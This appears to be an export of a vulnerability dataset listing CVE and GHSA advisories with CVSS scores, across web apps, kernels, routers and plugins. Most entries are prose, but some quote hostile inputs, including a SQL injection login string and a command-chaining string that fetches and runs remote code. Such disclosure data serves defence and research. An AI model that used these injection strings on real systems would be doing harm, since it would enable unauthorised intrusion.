ansulev/circl-vulnerability-scores huggingface dataset:
CVE-2025-62079: WordPress WP Export Categories & Taxonomies plugin <= 1.0.3 - Broken Access Control vulnerability
Missing Authorization vulnerability in Damian WP Export Categories & Taxonomies wp-export-categories-taxonomies allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Export Categories & Taxonomies: from n/a through <= 1.0.3.
CVSS v3.1: 5.3
CVE-2022-1278: A flaw was found in WildFly, where an attacker can see deployment names, endpoints, and any other data the trace payload may contain.
CVSS v3.1: 7.5
CVE-2017-14346: upload.php in tianchoy/blog through 2017-09-12 allows unrestricted file upload and PHP code execution by using the image/jpeg, image/pjpeg, image/png, or image/gif content type for a .php file.
CVSS v3.0: 9.8
CVSS v2.0: 7.5
GHSA-rrr8-pcpw-73v6: Cross-site scripting (XSS) vulnerability in Outlook Web Access (OWA) for Exchange Server 2003 SP2 allows remote attackers to inject arbitrary web script or HTML via unspecified HTML, a different vulnerability than CVE-2008-2247.
CVE-2025-65409: A divide-by-zero in the encryption/decryption routines of GNU Recutils v1.9 allows attackers to cause a Denial of Service (DoS) via inputting an empty value as a password.
CVSS v3.1: 7.5
CVE-2020-19825: Cross Site Scripting (XSS) vulnerability in kevinpapst kimai2 1.30.0 in /src/Twig/Runtime/MarkdownExtension.php, allows attackers to gain escalated privileges.
CVSS v3.1: 9.6
GHSA-4gmq-qmqj-mjvf: Buffer over-read in Windows Projected File System allows an authorized attacker to elevate privileges locally.
CVSS v3.1: 7.8
GHSA-w74x-x8mc-wwg6: A vulnerability has been found in SourceCodester Clinics Patient Management System 2.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /pms/index.php of the component Login Page. The manipulation of the argument user_name with the input admin' or '1'='1 leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
CVSS v3.1: 9.8
GHSA-qmh4-39gf-4vq2: Car Rental Management System v1.0 is vulnerable to SQL Injection via /car-rental-management-system/admin/index.php?page=manage_car&id=.
CVSS v3.1: 7.2
CVE-2020-15395: In MediaInfoLib in MediaArea MediaInfo 20.03, there is a stack-based buffer over-read in Streams_Fill_PerStream in Multiple/File_MpegPs.cpp (aka an off-by-one during MpegPs parsing).
CVSS v3.1: 7.8
CVSS v2.0: 6.8
CVE-2023-53973: Zillya Total Security 3.0.2367.0 Local Privilege Escalation via Quarantine Module
Zillya Total Security 3.0.2367.0 contains a privilege escalation vulnerability that allows low-privileged users to copy files to unauthorized system locations using the quarantine module. Attackers can leverage symbolic link techniques to restore quarantined files to restricted directories, potentially enabling system-level access through techniques like DLL hijacking.
CVSS v4.0: 8.5
CVSS v3.1: 8.4
GHSA-wqr4-mq96-2v98: SQL injection vulnerability in modx.class.php in MODX Revolution 2.0.0 before 2.2.13 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
RHSA-2012:1365: Red Hat Security Advisory: bind security update
bind: specially crafted resource record causes named to exit bind: Specially crafted DNS data can cause a lockup in named
CVE-2015-3215: The NetKVM Windows Virtio driver allows remote attackers to cause a denial of service (guest crash) via a crafted length value in an IP packet, as demonstrated by a value that does not account for the size of the IP options.
CVSS v3.0: 7.5
CVSS v2.0: 5
CVE-2020-4667: IBM Engineering Requirements Quality Assistant On-Premises could allow an authenticated user to obtain sensitive information due to improper input validation. IBM X-Force ID: 186282.
CVSS v3.0: 4.3
GHSA-5v46-5c9p-j4mg: redhat-certification does not properly restrict files that can be download through the /download page. A remote attacker may download any file accessible by the user running httpd.
CVSS v3.0: 7.5
CVE-2026-9383: itsourcecode Electronic Judging System login.php sql injection
A vulnerability has been found in itsourcecode Electronic Judging System 1.0. This affects an unknown part of the file /intrams/admin/login.php. The manipulation of the argument Username leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.
CVSS v4.0: 6.9
CVSS v3.1: 7.3
CVSS v3.0: 7.3
CVSS v2.0: 7.5
CVE-2025-43302: An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 18.7 and iPadOS 18.7, iOS 26 and iPadOS 26, macOS Sequoia 15.7, macOS Sonoma 14.8, macOS Tahoe 26, tvOS 26, visionOS 26, watchOS 26. An app may be able to cause unexpected system termination.
CVSS v3.1: 5.5
CVE-2020-20545: Cross-Site Scripting (XSS) vulnerability in Zhiyuan G6 Government Collaboration System V6.1SP1, via the 'method' parameter to 'seeyon/hrSalary.do'.
CVSS v3.1: 5.4
CVSS v2.0: 3.5
CVE-2016-9956: The route manager in FlightGear before 2016.4.4 allows remote attackers to write to arbitrary files via a crafted Nasal script.
CVSS v3.0: 7.5
CVSS v2.0: 5
CVE-2019-7004: Avaya IP Office XSS Vulnerability
A Cross-Site Scripting (XSS) vulnerability in the WebUI component of IP Office Application Server could allow unauthorized code execution and potentially disclose sensitive information. All product versions 11.x are affected. Product versions prior to 11.0, including unsupported versions, were not evaluated.
CVSS v3.0: 6.4
CVE-2022-41252: Missing permission checks in Jenkins CONS3RT Plugin 1.0.0 and earlier allows users with Overall/Read permission to enumerate credentials ID of credentials stored in Jenkins.
CVSS v3.1: 4.3
CVE-2025-8522: givanz Vvvebjs node.js save.php path traversal
A vulnerability, which was classified as critical, was found in givanz Vvvebjs up to 2.0.4. Affected is an unknown function of the file /save.php of the component node.js. The manipulation of the argument File leads to path traversal. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used.
CVSS v4.0: 2.3
CVSS v3.1: 5
CVSS v3.0: 5
CVSS v2.0: 4.6
GHSA-2q2v-mx9w-mg4j: The Page Builder by SiteOrigin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'siteorigin_widget' shortcode in all versions up to, and including, 2.29.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1: 6.4
CVE-2024-51729: mm: use aligned address in copy_user_gigantic_page()
In the Linux kernel, the following vulnerability has been resolved:

mm: use aligned address in copy_user_gigantic_page()

In current kernel, hugetlb_wp() calls copy_user_large_folio() with the
fault address.  Where the fault address may be not aligned with the huge
page size.  Then, copy_user_large_folio() may call
copy_user_gigantic_page() with the address, while
copy_user_gigantic_page() requires the address to be huge page size
aligned.  So, this may cause memory corruption or information leak,
addtional, use more obvious naming 'addr_hint' instead of 'addr' for
copy_user_gigantic_page().
CVSS v3.1: 7.8
GHSA-frh9-x8wg-qj9f: Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.
CVSS v4.0: 9.3
CVSS v3.1: 9.8
GHSA-v95v-6cqp-f7w7: Uncontrolled search path for some Intel(R) oneAPI Math Kernel Library software before version 2024.1 may allow an authenticated user to potentially enable escalation of privilege via local access.
CVSS v4.0: 5.4
CVSS v3.1: 6.7
RHSA-2022:0668: Red Hat Security Advisory: cyrus-sasl security update
cyrus-sasl: failure to properly escape SQL input allows an attacker to execute arbitrary SQL commands
CVSS v3.1: 8.8
GHSA-fhcm-g3vr-2xmr: Exposure of sensitive information to an unauthorized actor vulnerability in Web Server in Synology DiskStation Manager (DSM) before 7.0.1-42218-2 allows remote attackers to obtain sensitive information via unspecified vectors.
CVSS v3.1: 7.5
GHSA-xx8x-95r2-vhg6: Improper input validation vulnerability in Space of Cybozu Garoon 4.0.0 to 5.5.1 allows a remote authenticated attacker to alter the data of Space.
CVSS v3.1: 4.3
GHSA-f27j-4f6g-jp27: On Linux, Node.js ignores certain environment variables if those may have been set by an unprivileged user while the process is running with elevated privileges with the only exception of CAP_NET_BIND_SERVICE.
Due to a bug in the implementation of this exception, Node.js incorrectly applies this exception even when certain other capabilities have been set.
This allows unprivileged users to inject code that inherits the process's elevated privileges.
CVSS v3.0: 7.5
GHSA-9xc7-hc9q-hfgg: Heap-based buffer overflow in rsync in Mac OS X 10.4 through 10.4.5 allows remote authenticated users to execute arbitrary code via long extended attributes.
GHSA-7v9q-f6xr-89p8: The wp-invoice plugin before 4.1.1 for WordPress has incorrect access control for admin_init settings changes.
GHSA-5rqq-2g5w-q3pr: In video, there is a possible out of bounds write due to a permissions bypass. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08013430; Issue ID: ALPS08013433.
CVSS v3.1: 6.7
GHSA-wp6r-c52j-pjff: A buffer overflow vulnerability was discovered in TP-Link TL-WR841ND V11 via the 'gw' parameter at /userRpm/WanDynamicIpV6CfgRpm.htm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.
CVSS v3.1: 3.5
GHSA-qh3j-mrg8-f234: Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
SummaryThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.Vulnerability Root CauseFile: src/interfaces/applicationData.js (Lines 48-57)At Line 201:Proof of Concept (PoC)Verify the Developer Guard Works (The Blocked Payload):Result: 400 Bad Request - invalid patch pathExecute the Bypass (The Malicious Payload):Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.Security ImpactThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.Fixing Arbitrary Prototype ReadThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
CVSS v4.0: 2.1
GHSA-9ppg-jx86-fqw7: Unauthorized npm publish of cline@2.3.0 with modified postinstall script
DescriptionOn February 17, 2026 at 3:26 AM PT, an unauthorized party used a compromised npm publish token to publish an update to Cline CLI on the NPM registry: cline@2.3.0. The published package contains a modified package.json with an added postinstall script:
`"postinstall": "npm install -g openclaw@latest"`
This causes openclaw (an unrelated, non-malicious open source package) to be globally installed when cline@2.3.0 is installed. No other files were modified -- the CLI binary (dist/cli.mjs) and all other package contents are identical to the legitimate cline@2.2.3 release.
A corrected version (2.4.0) was published at 11:23 AM PT and 2.3.0 was deprecated at 11:30 AM PT. The compromised token has been revoked and npm publishing now uses OIDC provenance via GitHub Actions.ImpactUsers who installed Cline CLI cline@2.3.0 during the approximately 8-hour window between 3:26 AM PT and 11:30 AM PT on February 17 will have openclaw globally installed. The openclaw package is a legitimate open source project and is not malicious, but its installation was not authorized or intended.The Cline VS Code extension and JetBrains plugin were not affected. This advisory applies only to the Cline CLI package published on npm.PatchesVersions 2.4.0 and higher are fixedWorkaroundsIf you installed Cline CLI cline@2.3.0:Update to the latest version of the Cline CLI
`cline update` or `npm installl -g cline@latest`Verify that you have a fixed version (2.4.0 or higher)
`cline --version`Review your environment for any unexpected installation of OpenClaw and remove it if not intended
`npm uninstall -g openclaw`
CVE-2025-64054: A reflected Cross Site Scripting (XSS) vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint.
CVSS v3.1: 9.6
CVE-2021-47825: Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe'  Unquoted Service Path
Acer Updater Service 1.2.3500.0 contains an unquoted service path vulnerability that allows local users to execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\Program Files\Acer\Acer Updater\ to inject malicious executables that will run with LocalSystem permissions during service startup.
CVSS v4.0: 8.5
CVSS v3.1: 7.8
GHSA-j724-5cxg-pq82: A vulnerability was found in ORIPA up to 1.72. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file src/main/java/oripa/persistence/doc/loader/LoaderXML.java. The manipulation leads to deserialization. The attack can be launched remotely. Upgrading to version 1.80 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-270169 was assigned to this vulnerability.
CVSS v4.0: 5.3
CVSS v3.1: 6.3
GHSA-85vx-q4gg-7hwj: In ril, there is a possible out of bounds read due to a missing bounds check. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07628591; Issue ID: ALPS07628606.
CVSS v3.1: 4.4
GHSA-wp4r-c6wp-5m5q: SQL Injection in download student learning course function of Easytest Online Test Platform ver.24E01 and earlier allow remote attackers to execute arbitrary SQL commands via the uid parameter.
CVSS v4.0: 9.3
CVSS v3.1: 9.8
PYSEC-2024-166: Nautobot is a Network Source of Truth and Network Automation Platform. A user with permissions to view Dynamic Group records (`extras.view_dynamicgroup` permission) can use the Dynamic Group detail UI view (`/extras/dynamic-groups/<uuid>/`) and/or the members REST API view (`/api/extras/dynamic-groups/<uuid>/members/`) to list the objects that are members of a given Dynamic Group. In versions of Nautobot between 1.3.0 (where the Dynamic Groups feature was added) and 1.6.22 inclusive, and 2.0.0 through 2.2.4 inclusive, Nautobot fails to restrict these listings based on the member object permissions - for example a Dynamic Group of Device objects will list all Devices that it contains, regardless of the user's `dcim.view_device` permissions or lack thereof. This issue has been fixed in Nautobot versions 1.6.23 and 2.2.5. Users are advised to upgrade. This vulnerability can be partially mitigated by removing `extras.view_dynamicgroup` permission from users however a full fix will require upgrading.
GHSA-qm2q-9f3q-2vcv: Trix has a cross-site Scripting vulnerability on copy & paste
The Trix editor, versions prior to 2.1.4, is vulnerable to XSS when pasting malicious code. This vulnerability is a bypass of the fix put in place for https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99. In https://github.com/basecamp/trix/pull/1149, we added sanitation for Trix attachments with a `text/html` content type. However, Trix only checks the content type on the paste event's `dataTransfer` object. As long as the `dataTransfer` has a content type of `text/html`, Trix parses its contents and creates an `Attachment` with them, even if the attachment itself doesn't have a `text/html` content type. Trix then uses the attachment content to set the attachment element's `innerHTML`.ImpactAn attacker could trick a user to copy and paste malicious code that would execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.Patches**Update Recommendation:** Users should upgrade to Trix editor version 2.1.4 or later, which incorporates proper sanitization of input from copied content.WorkaroundsThis is not really a workaround but something that should be considered in addition to upgrading to the patched version. If affected users can disallow browsers that don't support a Content Security Policy, then this would be an effective workaround for this and all XSS vulnerabilities. Set CSP policies such as `script-src 'self'` to ensure that only scripts hosted on the same origin are executed, and explicitly prohibit inline scripts using `script-src-elem`.Referenceshttps://github.com/basecamp/trix/pull/1156https://github.com/basecamp/trix/releases/tag/v2.1.4https://github.com/basecamp/trix/pull/1149https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99[MDN docs for `DataTransfer`](https://developer.mozilla.org/en-US/docs/Web/API/DataTransfer)CreditsThis vulnerability was reported by HackerOne researcher [thwin_htet](https://hackerone.com/thwin_htet?type=user).
CVSS v3.1: 6.5
CVE-2026-36820: Shenzhen Tenda Technology Co., Ltd Tenda W20E v15.11.0.6 was discovered to contain a buffer overflow in the webAuthWhiteUserInfo parameter of the formAddWebAuthWhiteUser function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted HTTP request.
CVSS v3.1: 7.5
CVE-2024-8456: PLANET Technology switch devices - Missing Authentication for multiple HTTP routes
Certain switch models from PLANET Technology lack proper access control in firmware upload and download functionality, allowing unauthenticated remote attackers to download and upload firmware and system configurations, ultimately gaining full control of the devices.
CVSS v3.1: 9.8
CVE-2021-4410: Qtranslate Slug <= 1.1.18 - Cross-Site Request Forgery Bypass
The Qtranslate Slug plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.18. This is due to missing or incorrect nonce validation on the save_postdata() function. This makes it possible for unauthenticated attackers to save post data via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS v3.1: 4.3
GHSA-79f6-p65j-3m2m: MobSF Local Privilege Escalation
**Product:** Mobile Security Framework (MobSF)
**Version:** 4.3.0
**CWE-ID:** CWE-269: Improper Privilege Management
**CVSS vector v.4.0:** 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N)
**CVSS vector v.3.1:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
**Description:** MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges.
**Impact:** Information Disclosure 
**Vulnerable component:** Code output component (`/source_code`)
**Exploitation conditions:** authorized user
**Mitigation:** Remove token output in the returned js-script
**Researcher:** Egor Filatov (Positive Technologies)ResearchResearcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF).
To reproduce the vulnerability follow the steps below.•	 A user with minimal privileges is required, so the administrator must create a user account*Figure 1. Registration*•	Go to static analysis of any application*Figure 2. Static analysis*•	Go to the code review of the selected application and get a token with all privileges in the response*Figure 3. Token receiving*•	This token can be used to retrieve dynamic analysis information that has not been accessed before.![fig4](https://github.com/user-attachments/assets/fda8436b-de67-45b1-bb21-6cfbc9976f79)*Figure 4. No access demonstration**Figure 5. Token usage*As a result, the user is able to escalate the privileges.Please, assign all credits to: Egor Filatov (Positive Technologies)
CVSS v4.0: 7.1
CVSS v3.1: 6.5
CVE-2023-43730: Os Commerce 4.12.56860 - Cross Site Scripting Reflected (XSS)
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability.
This vulnerability allows attackers to inject JS through the "countries_name[1]" parameter,
potentially leading to unauthorized execution of scripts within a user's web browser.
CVSS v3.1: 5.4
CVE-2005-3832: Stack-based buffer overflow in (1) CxUux60.dll and (2) CxUux60u.dll, as used in SpeedProject products including (a) Squeez 5.0 Build 4285, and (b) SpeedCommander 11.0 Build 4430 and 10.51 Build 4430, allows user-assisted attackers to execute arbitrary code via a ZIP archive containing a long filename.
CVSS v2.0: 5.1
RHSA-2026:26215: Red Hat Security Advisory: General availability of the satellite/iop-yuptoo-rhel9 container image
urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers
CVSS v3.1: 5.9
GHSA-fcm2-vr5g-rj8f: A weakness has been identified in code-projects Refugee Food Management System 1.0. This affects an unknown function of the file /home/served.php. Executing manipulation of the argument refNo can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be exploited.
CVSS v4.0: 5.5
CVSS v3.1: 7.3
GHSA-84jm-frjh-4hjv: A vulnerability in the web-based management interface of Cisco UCS Director Software and Cisco Integrated Management Controller (IMC) Supervisor Software could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack and perform arbitrary actions on an affected system. The vulnerability is due to insufficient CSRF protection by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the affected interface to click a malicious link. A successful exploit could allow the attacker to perform arbitrary actions, via the user's web browser and with the user's privileges, on an affected system. Cisco Bug IDs: CSCvf71929.
CVSS v3.0: 8.8
GHSA-4v5h-xfpr-xr45: Some Xerox printers (such as the Phaser 3320 V53.006.16.000) did not implement any mechanism to avoid CSRF attacks. Successful exploitation of this vulnerability can lead to the takeover of a local account on the device.
CVE-2025-11716: Sandboxed iframes allowed links to open in external apps (Android only)
Links in a sandboxed iframe could open an external app on Android without the required "allow-" permission. This vulnerability was fixed in Firefox 144 and Thunderbird 144.
CVSS v3.1: 6.5
CVE-2005-3429: Rockliffe MailSite Express before 6.1.22, with the option to save login information enabled, saves user passwords in plaintext in cookies, which allows local users to obtain passwords by reading the cookie file, or remote attackers to obtain the cookies via cross-site scripting (XSS) vulnerabilities.
CVSS v2.0: 4.3